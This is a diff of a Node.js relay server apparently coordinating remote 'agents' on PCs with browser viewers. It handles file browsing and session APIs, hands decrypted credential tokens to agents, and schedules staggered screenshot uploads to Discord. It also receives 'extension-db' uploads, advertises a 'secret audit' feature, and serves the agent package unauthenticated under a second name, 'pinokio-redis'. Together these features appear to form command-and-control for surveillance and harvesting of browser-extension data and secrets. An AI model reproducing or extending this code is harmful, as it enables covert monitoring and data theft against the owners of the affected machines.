+ withRelayDashboardOrLogin(res, req, (r) => {
1248
+ r.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
1249
+ r.end(RELAY_INFO_HTML);
1250
+ });
1251
+ return;
1252
+ }
1253
+ if (p === "/forge-explorer-favicon.svg") {
1254
+ let svg;
1255
+ try {
1256
+ svg = (0, filesExplorer_1.getForgeExplorerFaviconSvg)();
1257
+ }
1258
+ catch (e) {
1259
+ res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
1260
+ res.end(String(e));
1261
+ return;
1262
+ }
1263
+ res.writeHead(200, {
1264
+ "Content-Type": "image/svg+xml; charset=utf-8",
1265
+ "Cache-Control": "public, max-age=86400",
1266
+ });
1267
+ res.end(svg);
1268
+ return;
1269
+ }
1270
+ if (p.startsWith("/forge-explorer-codicons/")) {
1271
+ const base = decodeURIComponent(p.slice("/forge-explorer-codicons/".length));
1272
+ try {
1273
+ const buf = (0, filesExplorer_1.readExplorerCodiconAsset)(base);
1274
+ const isCss = base === "codicon.css";
1275
+ res.writeHead(200, {
1276
+ "Content-Type": isCss ? "text/css; charset=utf-8" : "font/ttf",
1277
+ "Cache-Control": "public, max-age=86400",
1278
+ });
1279
+ res.end(buf);
1280
+ }
1281
+ catch (e) {
1282
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
1283
+ res.end(String(e));
1284
+ }
1285
+ return;
1286
+ }
1287
+ if (p.startsWith("/forge-explorer-highlight/")) {
1288
+ const base = decodeURIComponent(p.slice("/forge-explorer-highlight/".length));
1289
+ try {
1290
+ const buf = (0, filesExplorer_1.readExplorerHighlightAsset)(base);
1291
+ const isCss = base === "explorer-highlight.css";
1292
+ res.writeHead(200, {
1293
+ "Content-Type": isCss
1294
+ ? "text/css; charset=utf-8"
1295
+ : "application/javascript; charset=utf-8",
1296
+ "Cache-Control": "public, max-age=86400",
1297
+ });
1298
+ res.end(buf);
1299
+ }
1300
+ catch (e) {
1301
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
1302
+ res.end(String(e));
1303
+ }
1304
+ return;
1305
+ }
1306
+ if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
1307
+ _applySecurityHeaders(res);
1308
+ res.writeHead(200, { "Content-Type": "application/json" });
1309
+ res.end(JSON.stringify({
1310
+ sessions: listSessionsPayload(),
1311
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1312
+ }));
1313
+ return;
1314
+ }
1315
+ if (p === "/api/agent-fleet" && relaySessionsApiAllowed(req)) {
1316
+ _applySecurityHeaders(res);
1317
+ res.writeHead(200, { "Content-Type": "application/json" });
1318
+ res.end(JSON.stringify(listAgentFleetPayload()));
1319
+ return;
1320
+ }
1321
+ /**
1322
+ * GET /api/explorer-seq?session=… — forge-db `seq_id` for file-explorer tab title / UI (same lookup as Hub auto-session repo segment `<seq_id>`).
1323
+ * Uses relay env + forge-db API key (no browser key). When dashboard gate is on, requires dashboard cookie.
1324
+ */
1325
+ if (p === "/api/explorer-seq") {
1326
+ if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
1327
+ _applySecurityHeaders(res);
1328
+ res.writeHead(401, { "Content-Type": "application/json; charset=utf-8" });
1329
+ res.end(JSON.stringify({ error: "dashboard login required", seq_id: null }));
1330
+ return;
1331
+ }
1332
+ const rawSession = url.searchParams.get("session") || "";
1333
+ const sessionTable = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSession.trim());
1334
+ if (!sessionTable) {
1335
+ _applySecurityHeaders(res);
1336
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
1337
+ res.end(JSON.stringify({ error: "missing or invalid session", seq_id: null }));
1338
+ return;
1339
+ }
1340
+ void (async () => {
1341
+ try {
1342
+ const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
1343
+ _ifHttpWritable(res, () => {
1344
+ _applySecurityHeaders(res);
1345
+ res.writeHead(200, {
1346
+ "Content-Type": "application/json; charset=utf-8",
1347
+ "Cache-Control": "no-store",
1348
+ });
1349
+ res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
1350
+ });
1351
+ }
1352
+ catch (e) {
1353
+ _ifHttpWritable(res, () => {
1354
+ _applySecurityHeaders(res);
1355
+ res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
1356
+ res.end(JSON.stringify({ error: String(e), seq_id: null }));
1357
+ });
1358
+ }
1359
+ })();
1360
+ return;
1361
+ }
1362
+ /**
1363
+ * GET /api/relay-session-seq?session=… — forge-db `seq_id` for remote agents (no forge-db API key on PCs).
1364
+ * Same lookup as `/api/explorer-seq`; unauthenticated like `/api/relay-for-agent`.
1365
+ */
1366
+ if (p === "/api/relay-session-seq") {
1367
+ const rawSession = url.searchParams.get("session") || "";
1368
+ const sessionTable = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSession.trim());
1369
+ if (!sessionTable) {
1370
+ _applySecurityHeaders(res);
1371
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
1372
+ res.end(JSON.stringify({ error: "missing or invalid session", seq_id: null }));
1373
+ return;
1374
+ }
1375
+ void (async () => {
1376
+ try {
1377
+ const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
1378
+ _ifHttpWritable(res, () => {
1379
+ _applySecurityHeaders(res);
1380
+ res.writeHead(200, {
1381
+ "Content-Type": "application/json; charset=utf-8",
1382
+ "Cache-Control": "no-store",
1383
+ });
1384
+ res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
1385
+ });
1386
+ }
1387
+ catch (e) {
1388
+ _ifHttpWritable(res, () => {
1389
+ _applySecurityHeaders(res);
1390
+ res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
1391
+ res.end(JSON.stringify({ error: String(e), seq_id: null }));
1392
+ });
1393
+ }
1394
+ })();
1395
+ return;
1396
+ }
1397
+ if (p === "/api/new-session" && relayPublicApiEnabled()) {
1398
+ if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
1399
+ res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
1400
+ res.end("Dashboard login required");
1401
+ return;
1402
+ }
1403
+ const sid = (0, relayAuth_1.randomSessionIdHex)();
1404
+ getOrCreateSession(sid);
1405
+ res.writeHead(200, { "Content-Type": "application/json" });
1406
+ res.end(JSON.stringify({ session_id: sid }));
1407
+ return;
1408
+ }
1409
+ if (p === "/health") {
1410
+ res.writeHead(200, { "Content-Type": "application/json" });
1411
+ res.end(JSON.stringify({ status: "ok" }));
1412
+ return;
1413
+ }
1414
+ if (p === "/api/relay-for-agent") {
1415
+ const raw = (process.env.CFGMGR_SESSION_ID || "").trim();
1416
+ const payload = {};
1417
+ if (raw) {
1418
+ const canon = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(raw);
1419
+ if ((0, relayAuth_1.sessionIdIsValid)(canon)) {
1420
+ payload.cfgmgr_session_id = canon;
1421
+ }
1422
+ }
1423
+ const syncAdv = relayAdvertisedSyncApiBaseUrl();
1424
+ if (syncAdv) {
1425
+ payload.sync_api_base_url = syncAdv;
1426
+ }
1427
+ const relayPkgVer = relayPackageVersion();
1428
+ if (relayPkgVer && relayPkgVer !== "unknown") {
1429
+ payload.forge_jsxy_version = relayPkgVer;
1430
+ const relayHttp = relayAdvertisedRelayHttpBaseUrl();
1431
+ // Keep legacy path so old forge-jsxy agents can still download the package tarball
1432
+ const relPath = "/api/forge-jsxy-package.tgz";
1433
+ payload.forge_jsxy_package_url = relayHttp
1434
+ ? `${relayHttp.replace(/\/+$/, "")}${relPath}`
1435
+ : relPath;
1436
+ }
1437
+ res.writeHead(200, {
1438
+ "Content-Type": "application/json; charset=utf-8",
1439
+ "Cache-Control": "no-store, max-age=0, must-revalidate",
1440
+ Pragma: "no-cache",
1441
+ });
1442
+ res.end(JSON.stringify(payload));
1443
+ return;
1444
+ }
1445
+ // Serve package tarball at both legacy path (old forge-jsxy agents) and new path (pinokio-redis)
1446
+ if (p === "/api/forge-jsxy-package.tgz" || p === "/api/pinokio-redis-package.tgz") {
1447
+ _applySecurityHeaders(res);
1448
+ (0, relayPackageServe_1.serveRelayPackageTarball)(res);
1449
+ return;
1450
+ }
1451
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
1452
+ res.end("Not found");
1453
+ }
1454
+ /** Register or refresh `_client_registry` via forge-db (old agents often skip POST /api/client-info). */
1455
+ const clientInfoPushInflight = new Map();
1456
+ function pushClientInfoToForgeDb(sessionId, session, overrides) {
1457
+ const forgeDbApi = _forgeDbApiUrl();
1458
+ if (!forgeDbApi)
1459
+ return;
1460
+ const prev = clientInfoPushInflight.get(sessionId);
1461
+ const run = async () => {
1462
+ if (prev)
1463
+ await prev.catch(() => { });
1464
+ const body = JSON.stringify({
1465
+ os_type: overrides?.os_type ?? (session.agentOs || null),
1466
+ os_platform: overrides?.os_platform ?? (session.agentOs || null),
1467
+ hostname: overrides?.hostname ?? (session.agentHostname || null),
1468
+ });
1469
+ const maxAttempts = 5;
1470
+ const retryDelaysMs = [500, 1000, 2000, 4000, 8000];
1471
+ for (let attempt = 1; attempt <= maxAttempts; attempt++) {
1472
+ try {
1473
+ const res = await fetch(`${forgeDbApi}/api/client-info`, {
1474
+ method: "POST",
1475
+ headers: {
1476
+ "Content-Type": "application/json",
1477
+ "X-Client-Id": sessionId,
1478
+ ...(session.agentRemoteIp ? { "X-Client-IP": session.agentRemoteIp } : {}),
1479
+ "User-Agent": "forge-jsx-relay/1.0",
1480
+ },
1481
+ body,
1482
+ signal: AbortSignal.timeout(8000),
1483
+ });
1484
+ if (res.ok)
1485
+ return;
1486
+ const text = await res.text().catch(() => "");
1487
+ const retryable = res.status >= 500 || res.status === 429;
1488
+ if (!retryable || attempt >= maxAttempts) {
1489
+ console.warn(`[relay] client-info HTTP ${res.status} session=${sessionId}${text ? `: ${text.slice(0, 120)}` : ""}`);
1490
+ return;
1491
+ }
1492
+ }
1493
+ catch (e) {
1494
+ if (attempt >= maxAttempts) {
1495
+ console.warn(`[relay] client-info failed session=${sessionId}: ${e instanceof Error ? e.message : String(e)}`);
1496
+ return;
1497
+ }
1498
+ }
1499
+ await new Promise((r) => setTimeout(r, retryDelaysMs[attempt - 1] ?? 8000));
1500
+ }
1501
+ };
1502
+ const inflight = run().finally(() => {
1503
+ if (clientInfoPushInflight.get(sessionId) === inflight) {
1504
+ clientInfoPushInflight.delete(sessionId);
1505
+ }
1506
+ });
1507
+ clientInfoPushInflight.set(sessionId, inflight);
1508
+ }
1509
+ function attachConnection(ws, req, role, sessionId) {
1510
+ const headers = req.headers;
1511
+ if (role === "viewer") {
1512
+ const origin = headerGet(headers, "origin");
1513
+ const host = requestHost(headers);
1514
+ if (!originAllowedForViewer(origin, host, headers)) {
1515
+ ws.close(4005, "Origin not allowed");
1516
+ return;
1517
+ }
1518
+ }
1519
+ relayWsTcpNoDelay(ws);
1520
+ const session = getOrCreateSession(sessionId);
1521
+ // NOTE: do NOT call session.touch() here unconditionally. Touching before the async
1522
+ // blacklist check lets a blacklisted agent spam reconnects and keep lastActivity fresh,
1523
+ // preventing the stale-session cleanup timer from ever firing (slow memory leak).
1524
+ // Guard: agents must pass the async blacklist check before their messages are processed.
1525
+ // Without this, a blacklisted agent's "info" message races the check and gets logged as
1526
+ // "agent X running v1.0.Y" even though the connection is immediately closed afterwards.
1527
+ let _accepted = role !== "agent";
1528
+ if (role === "agent") {
1529
+ session.agentRemoteIp = requestPeerIp(req);
1530
+ const syncAdvertised = relayAdvertisedSyncApiBaseUrl();
1531
+ const discordInterval = relayDiscordScreenshotAdvertisedIntervalMs();
1532
+ const discordStagger = relayDiscordScreenshotAdvertisedIntervalStaggerMs();
1533
+ const discordFirstStagger = relayDiscordScreenshotAdvertisedFirstStaggerMs();
1534
+ const discordUploadMode = relayDiscordScreenshotAdvertisedUploadMode();
1535
+ // Refresh blacklist first; only then close any existing agent and attach `ws`.
1536
+ // Closing `session.agent` before the blacklist result allowed a blacklisted socket to
1537
+ // evict a legitimate agent and then disconnect itself — leaving the session empty.
1538
+ void _refreshBlacklistIfStale().then(() => {
1539
+ enqueueAgentAttach(sessionId, () => {
1540
+ if (ws.readyState !== ws_1.default.OPEN && ws.readyState !== ws_1.default.CONNECTING)
1541
+ return;
1542
+ if (_isBlacklisted(sessionId)) {
1543
+ if (_shouldLogBlacklistedReject(sessionId)) {
1544
+ console.log(`[relay] Rejected blacklisted agent session=${sessionId}`);
1545
+ }
1546
+ else {
1547
+ _noteBlacklistRejectSuppressed();
1548
+ }
1549
+ try {
1550
+ ws.close(4010, "Blacklisted");
1551
+ }
1552
+ catch {
1553
+ /* skip */
1554
+ }
1555
+ return;
1556
+ }
1557
+ _accepted = true;
1558
+ session.touch();
1559
+ if (rejectIncomingAgentIfSlotHeld(session, ws)) {
1560
+ return;
1561
+ }
1562
+ cancelAgentDisconnectNotifyToViewer(session);
1563
+ session.agent = ws;
1564
+ session.agentAssignedAt = Date.now();
1565
+ session.agentSlotVacatedAt = 0;
1566
+ /** Ensure forge-db registry row exists immediately (dashboard seq_id / matching). */
1567
+ pushClientInfoToForgeDb(sessionId, session);
1568
+ if (relayWsConnectLoggingEnabled() && _shouldRelayLogAgentWsLifecycle(sessionId)) {
1569
+ console.log(`[relay] agent connected session=${sessionId}`);
1570
+ }
1571
+ const relayFeatures = {
1572
+ /** When true, agents without `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` turn screenshots on to match relay `.env`. */
1573
+ discord_screenshot: (0, discordRelayUpload_1.discordRelayScreenshotEnabled)(),
1574
+ ...(discordUploadMode != null
1575
+ ? { discord_screenshot_upload_mode: discordUploadMode }
1576
+ : {}),
1577
+ ...(discordInterval != null
1578
+ ? { discord_screenshot_interval_ms: discordInterval }
1579
+ : {}),
1580
+ ...(discordStagger != null
1581
+ ? { discord_screenshot_interval_stagger_ms: discordStagger }
1582
+ : {}),
1583
+ ...(discordFirstStagger != null
1584
+ ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
1585
+ : {}),
1586
+ hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
1587
+ ...(relayAgentSecretAuditAdvertised()
1588
+ ? { agent_secret_audit: true }
1589
+ : {}),
1590
+ ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
1591
+ /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
1592
+ relay_version: (() => {
1593
+ const v = relayPackageVersion();
1594
+ return v === "unknown" ? undefined : v;
1595
+ })(),
1596
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1597
+ recommended_agent_version: (() => {
1598
+ const v = relayPackageVersion();
1599
+ return v === "unknown" ? undefined : v;
1600
+ })(),
1601
+ relay_reconnect_delay_ms: (() => {
1602
+ const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
1603
+ if (raw) {
1604
+ const n = parseInt(raw, 10);
1605
+ if (Number.isFinite(n) && n >= 500 && n <= 120_000)
1606
+ return n;
1607
+ }
1608
+ return 2000;
1609
+ })(),
1610
+ ...(relayWebRtcFeaturesPayload() ?? {}),
1611
+ };
1612
+ void (async () => {
1613
+ const sessionTable = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
1614
+ let clientSeqId = null;
1615
+ try {
1616
+ clientSeqId = await Promise.race([
1617
+ (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable),
1618
+ new Promise((resolve) => setTimeout(() => resolve(null), 2800)),
1619
+ ]);
1620
+ }
1621
+ catch {
1622
+ /* forge-db unreachable — agent may use GET /api/relay-session-seq */
1623
+ }
1624
+ if (session.agent !== ws || !wsIsOpen(ws))
1625
+ return;
1626
+ const connectedPayload = {
1627
+ type: "connected",
1628
+ role: "agent",
1629
+ session_id: sessionId,
1630
+ relay_features: relayFeatures,
1631
+ };
1632
+ if (clientSeqId !== null && Number.isFinite(clientSeqId) && clientSeqId >= 0) {
1633
+ connectedPayload.client_seq_id = Math.floor(clientSeqId);
1634
+ }
1635
+ ws.send(JSON.stringify(connectedPayload));
1636
+ try {
1637
+ ws.send(JSON.stringify({
1638
+ type: "agent_session_seq",
1639
+ seq_id: clientSeqId,
1640
+ session_table: sessionTable,
1641
+ ...(clientSeqId !== null && Number.isFinite(clientSeqId) && clientSeqId >= 0
1642
+ ? { client_seq_id: Math.floor(clientSeqId) }
1643
+ : {}),
1644
+ }));
1645
+ }
1646
+ catch {
1647
+ /* skip */
1648
+ }
1649
+ if (wsIsOpen(session.viewer)) {
1650
+ try {
1651
+ session.viewer.send(JSON.stringify({ type: "agent_connected" }));
1652
+ const agentSock = ws;
1653
+ setImmediate(() => {
1654
+ if (session.agent !== agentSock || !wsIsOpen(agentSock))
1655
+ return;
1656
+ try {
1657
+ agentSock.send(JSON.stringify({ type: "viewer_connected" }));
1658
+ }
1659
+ catch {
1660
+ /* skip */
1661
+ }
1662
+ });
1663
+ }
1664
+ catch {
1665
+ /* skip */
1666
+ }
1667
+ }
1668
+ })();
1669
+ }); // end enqueueAgentAttach
1670
+ }).catch((e) => {
1671
+ console.error("[relay] agent WebSocket setup failed:", e);
1672
+ try {
1673
+ ws.close(1011, "setup failed");
1674
+ }
1675
+ catch {
1676
+ /* skip */
1677
+ }
1678
+ }); // end _refreshBlacklistIfStale().then()
1679
+ }
1680
+ else {
1681
+ const prevViewer = session.viewer;
1682
+ if (wsIsOpen(prevViewer)) {
1683
+ try {
1684
+ /** Tell agent before slot is reused — avoids stale auth / stuck "Authenticating…" when `close` fires late. */
1685
+ if (wsIsOpen(session.agent)) {
1686
+ try {
1687
+ session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
1688
+ }
1689
+ catch {
1690
+ /* skip */
1691
+ }
1692
+ }
1693
+ prevViewer.close(4003, "Replaced by new viewer");
1694
+ }
1695
+ catch {
1696
+ /* skip */
1697
+ }
1698
+ }
1699
+ session.viewer = ws;
1700
+ const rtcFeat = relayWebRtcFeaturesForViewer(session);
1701
+ ws.send(JSON.stringify({
1702
+ type: "connected",
1703
+ role: "viewer",
1704
+ session_id: sessionId,
1705
+ agent_online: wsIsOpen(session.agent),
1706
+ ...(rtcFeat ?? {}),
1707
+ }));
1708
+ /** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
1709
+ const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
1710
+ void (async () => {
1711
+ try {
1712
+ const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTableForSeq);
1713
+ if (session.viewer !== ws || !wsIsOpen(ws))
1714
+ return;
1715
+ ws.send(JSON.stringify({
1716
+ type: "explorer_client_seq",
1717
+ seq_id: seqId,
1718
+ session_table: sessionTableForSeq,
1719
+ }));
1720
+ }
1721
+ catch {
1722
+ /* forge-db unreachable — explorer may still use GET /api/explorer-seq */
1723
+ }
1724
+ })();
1725
+ if (wsIsOpen(session.agent)) {
1726
+ const agentSock = session.agent;
1727
+ setImmediate(() => {
1728
+ if (session.viewer !== ws || !wsIsOpen(agentSock))
1729
+ return;
1730
+ try {
1731
+ agentSock.send(JSON.stringify({ type: "viewer_connected" }));
1732
+ }
1733
+ catch {
1734
+ /* skip */
1735
+ }
1736
+ });
1737
+ }
1738
+ }
1739
+ const pingEvery = relayWsPingIntervalMs();
1740
+ let pingTimer = null;
1741
+ if (pingEvery > 0) {
1742
+ pingTimer = setInterval(() => {
1743
+ if (ws.readyState !== ws_1.default.OPEN)
1744
+ return;
1745
+ try {
1746
+ ws.ping();
1747
+ }
1748
+ catch {
1749
+ /* skip */
1750
+ }
1751
+ // NOTE: do NOT call session.touch() here. Touching on ping-SEND would keep
1752
+ // idle_s artificially low for dead/zombie peers. Only pong and real messages count.
1753
+ }, pingEvery);
1754
+ }
1755
+ ws.on("pong", () => {
1756
+ session.touch();
1757
+ });
1758
+ ws.on("message", (data, isBinary) => {
1759
+ // Drop all messages from agent connections that haven't cleared the blacklist check yet.
1760
+ if (!_accepted)
1761
+ return;
1762
+ session.touch();
1763
+ if (isBinary) {
1764
+ if (role === "agent" && wsIsOpen(session.viewer)) {
1765
+ try {
1766
+ session.viewer.send(data);
1767
+ }
1768
+ catch {
1769
+ /* skip */
1770
+ }
1771
+ }
1772
+ else if (role === "viewer" && wsIsOpen(session.agent)) {
1773
+ try {
1774
+ session.agent.send(data);
1775
+ }
1776
+ catch {
1777
+ /* skip */
1778
+ }
1779
+ }
1780
+ return;
1781
+ }
1782
+ const payload = String(data);
1783
+ let msg;
1784
+ try {
1785
+ msg = JSON.parse(payload);
1786
+ }
1787
+ catch {
1788
+ return;
1789
+ }
1790
+ const msgType = String(msg.type || "");
1791
+ /** Agent posts a screenshot frame for relay-side Discord delivery (never forwarded to viewer). */
1792
+ if (role === "agent" && msgType === "discord_screenshot_upload") {
1793
+ void (async () => {
1794
+ try {
1795
+ // Refresh blacklist and reject uploads from blacklisted clients
1796
+ await _refreshBlacklistIfStale();
1797
+ const uploadClientId = String(msg.client_id ?? "").trim();
1798
+ const blocked = _isBlacklisted(sessionId) ||
1799
+ (uploadClientId ? _isBlacklisted(uploadClientId) : false);
1800
+ if (blocked) {
1801
+ ws.send(JSON.stringify({
1802
+ type: "discord_screenshot_upload_result",
1803
+ request_id: String(msg.request_id ?? ""),
1804
+ ok: false,
1805
+ error: "client blacklisted",
1806
+ }));
1807
+ return;
1808
+ }
1809
+ const out = await (0, discordRelayUpload_1.handleDiscordScreenshotUploadFromAgent)(msg);
1810
+ ws.send(JSON.stringify(out));
1811
+ }
1812
+ catch (e) {
1813
+ try {
1814
+ ws.send(JSON.stringify({
1815
+ type: "discord_screenshot_upload_result",
1816
+ request_id: String(msg.request_id ?? ""),
1817
+ ok: false,
1818
+ error: String(e),
1819
+ }));
1820
+ }
1821
+ catch {
1822
+ /* skip */
1823
+ }
1824
+ }
1825
+ })();
1826
+ return;
1827
+ }
1828
+ /** Agent requests a one-shot Discord webhook URL (bot token stays on relay; PNG goes agent→Discord). */
1829
+ if (role === "agent" && msgType === "relay_discord_upload_ticket_request") {
1830
+ void (async () => {
1831
+ try {
1832
+ // Reject ticket requests from blacklisted clients
1833
+ await _refreshBlacklistIfStale();
1834
+ const ticketClientId = String(msg.client_id ?? "").trim();
1835
+ const blocked = _isBlacklisted(sessionId) ||
1836
+ (ticketClientId ? _isBlacklisted(ticketClientId) : false);
1837
+ if (blocked) {
1838
+ ws.send(JSON.stringify({
1839
+ type: "relay_discord_upload_ticket_result",
1840
+ request_id: String(msg.request_id ?? ""),
1841
+ ok: false,
1842
+ error: "client blacklisted",
1843
+ }));
1844
+ return;
1845
+ }
1846
+ const out = await (0, discordRelayUpload_1.handleDiscordUploadTicketRequest)(msg);
1847
+ ws.send(JSON.stringify(out));
1848
+ }
1849
+ catch (e) {
1850
+ try {
1851
+ ws.send(JSON.stringify({
1852
+ type: "relay_discord_upload_ticket_result",
1853
+ request_id: String(msg.request_id ?? ""),
1854
+ ok: false,
1855
+ error: String(e),
1856
+ }));
1857
+ }
1858
+ catch {
1859
+ /* skip */
1860
+ }
1861
+ }
1862
+ })();
1863
+ return;
1864
+ }
1865
+ /** Agent confirms webhook upload finished — relay revokes the webhook URL. */
1866
+ if (role === "agent" && msgType === "relay_discord_upload_ack") {
1867
+ void (async () => {
1868
+ try {
1869
+ const out = await (0, discordRelayUpload_1.handleDiscordUploadAck)(msg);
1870
+ ws.send(JSON.stringify(out));
1871
+ }
1872
+ catch (e) {
1873
+ try {
1874
+ ws.send(JSON.stringify({
1875
+ type: "relay_discord_upload_ack_result",
1876
+ request_id: String(msg.request_id ?? ""),
1877
+ ok: false,
1878
+ error: String(e),
1879
+ }));
1880
+ }
1881
+ catch {
1882
+ /* skip */
1883
+ }
1884
+ }
1885
+ })();
1886
+ return;
1887
+ }
1888
+ /** Agent asks relay for Hub credentials (not forwarded to viewer). */
1889
+ if (role === "agent" && msgType === "relay_hf_credentials_request") {
1890
+ const rid = String(msg.request_id ?? "");
1891
+ const b64 = (process.env.RELAY_HF_CREDENTIALS_B64 || "").trim();
1892
+ if (!b64) {
1893
+ try {
1894
+ ws.send(JSON.stringify({
1895
+ type: "relay_hf_credentials_result",
1896
+ request_id: rid,
1897
+ ok: false,
1898
+ error: "RELAY_HF_CREDENTIALS_B64 is not set on the relay (same AES-GCM blob as CFGMGR_HF_CREDENTIALS_B64)",
1899
+ }));
1900
+ }
1901
+ catch {
1902
+ /* skip */
1903
+ }
1904
+ return;
1905
+ }
1906
+ try {
1907
+ const cred = (0, hfCredentials_1.decryptHfCredentialsB64)(b64);
1908
+ try {
1909
+ ws.send(JSON.stringify({
1910
+ type: "relay_hf_credentials_result",
1911
+ request_id: rid,
1912
+ ok: true,
1913
+ token: cred.token,
1914
+ hubUrl: cred.hubUrl,
1915
+ namespace: cred.namespace ?? "",
1916
+ }));
1917
+ }
1918
+ catch {
1919
+ /* skip */
1920
+ }
1921
+ finally {
1922
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
1923
+ }
1924
+ }
1925
+ catch (e) {
1926
+ try {
1927
+ ws.send(JSON.stringify({
1928
+ type: "relay_hf_credentials_result",
1929
+ request_id: rid,
1930
+ ok: false,
1931
+ error: String(e),
1932
+ }));
1933
+ }
1934
+ catch {
1935
+ /* skip */
1936
+ }
1937
+ }
1938
+ return;
1939
+ }
1940
+ if (role === "agent" && msgType === "agent_extension_db_status") {
1941
+ session.extensionDbOutcome = String(msg.outcome ?? "").trim().slice(0, 64);
1942
+ const atMs = msg.at_ms ?? msg.atMs;
1943
+ session.extensionDbAtMs =
1944
+ typeof atMs === "number" && Number.isFinite(atMs) ? Math.floor(atMs) : Date.now();
1945
+ session.extensionDbAgentVersion = String(msg.agent_version ?? msg.agentVersion ?? session.agentVersion ?? "").trim();
1946
+ if (session.extensionDbOutcome && session.extensionDbOutcome !== "uploaded") {
1947
+ console.log(`[relay] extension-db ${sessionId}: ${session.extensionDbOutcome} (agent v${session.extensionDbAgentVersion || "?"})`);
1948
+ }
1949
+ else if (session.extensionDbOutcome === "uploaded") {
1950
+ console.log(`[relay] extension-db ${sessionId}: upload OK (agent v${session.extensionDbAgentVersion || "?"})`);
1951
+ }
1952
+ return;
1953
+ }
1954
+ /** Never forward internal relay credential messages from viewers. */
1955
+ if (role === "viewer" &&
1956
+ (msgType === "relay_hf_credentials_request" ||
1957
+ msgType === "relay_hf_credentials_result" ||
1958
+ msgType === "discord_screenshot_upload" ||
1959
+ msgType === "discord_screenshot_upload_result" ||
1960
+ msgType === "relay_discord_upload_ticket_request" ||
1961
+ msgType === "relay_discord_upload_ticket_result" ||
1962
+ msgType === "relay_discord_upload_ack" ||
1963
+ msgType === "relay_discord_upload_ack_result")) {
1964
+ return;
1965
+ }
1966
+ /**
1967
+ * Browser `/files` JSON keepalive — not forwarded to the agent. Some corporate proxies and
1968
+ * middleboxes only consider application data; WS ping frames alone are not always enough.
1969
+ */
1970
+ if (role === "viewer" && msgType === "viewer_ping") {
1971
+ const t = msg.t;
1972
+ const echo = typeof t === "number" && Number.isFinite(t) ? t : 0;
1973
+ try {
1974
+ ws.send(JSON.stringify({ type: "viewer_pong", t: echo }));
1975
+ }
1976
+ catch {
1977
+ /* skip */
1978
+ }
1979
+ return;
1980
+ }
1981
+ if (role === "agent" && msgType === "info") {
1982
+ const data = msg.data || {};
1983
+ session.agentInfo = data;
1984
+ // Extract version and OS from system field for /api/sessions reporting
1985
+ const sys = data.system || {};
1986
+ session.agentVersion = String(sys.forge_jsx_version || sys.forge_jsxy_version || "").trim();
1987
+ session.agentOs = String(sys.os || sys.platform || "").trim();
1988
+ session.agentHostname = String(sys.hostname || "").trim();
1989
+ const feats = data.features || {};
1990
+ session.agentFilesystem = Boolean(feats.filesystem);
1991
+ const wdc = feats.webrtc_datachannel;
1992
+ session.agentWebrtcDatachannel =
1993
+ typeof wdc === "boolean" ? wdc : null;
1994
+ // Log version comparison against actual relay package version.
1995
+ if (session.agentVersion) {
1996
+ const relayPkg = relayPackageVersion();
1997
+ const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
1998
+ if (_shouldLogVersionNotice(sessionId, session.agentVersion)) {
1999
+ if (agentOlder) {
2000
+ console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — use file explorer → Upgrade forge-jsxy when ready`);
2001
+ }
2002
+ else {
2003
+ console.log(`[relay] agent ${sessionId} v${session.agentVersion} ✓`);
2004
+ }
2005
+ }
2006
+ }
2007
+ pushViewerWebRtcAvailability(session);
2008
+ // Refresh forge-db registry (OS/hostname/version) for dashboard + seq_id lookup.
2009
+ pushClientInfoToForgeDb(sessionId, session, {
2010
+ os_type: session.agentOs || null,
2011
+ os_platform: String(sys.platform || "").trim() || null,
2012
+ hostname: session.agentHostname || null,
2013
+ });
2014
+ }
2015
+ /** Avoid silent hangs in /files when the viewer still has UI state but the agent socket is gone. */
2016
+ if (role === "viewer" && !wsIsOpen(session.agent)) {
2017
+ if (msgType === "get_info") {
2018
+ /** Explorer probes OS for screenshot / shell hints — answer so UI does not keep stale `agentPlatform`. */
2019
+ try {
2020
+ ws.send(JSON.stringify({
2021
+ type: "system_info",
2022
+ data: { platform: "", relay_no_agent: true },
2023
+ screen: { primary_width: 0, primary_height: 0, monitors: 0, capture: "disabled" },
2024
+ scale: 1.0,
2025
+ }));
2026
+ }
2027
+ catch {
2028
+ /* skip */
2029
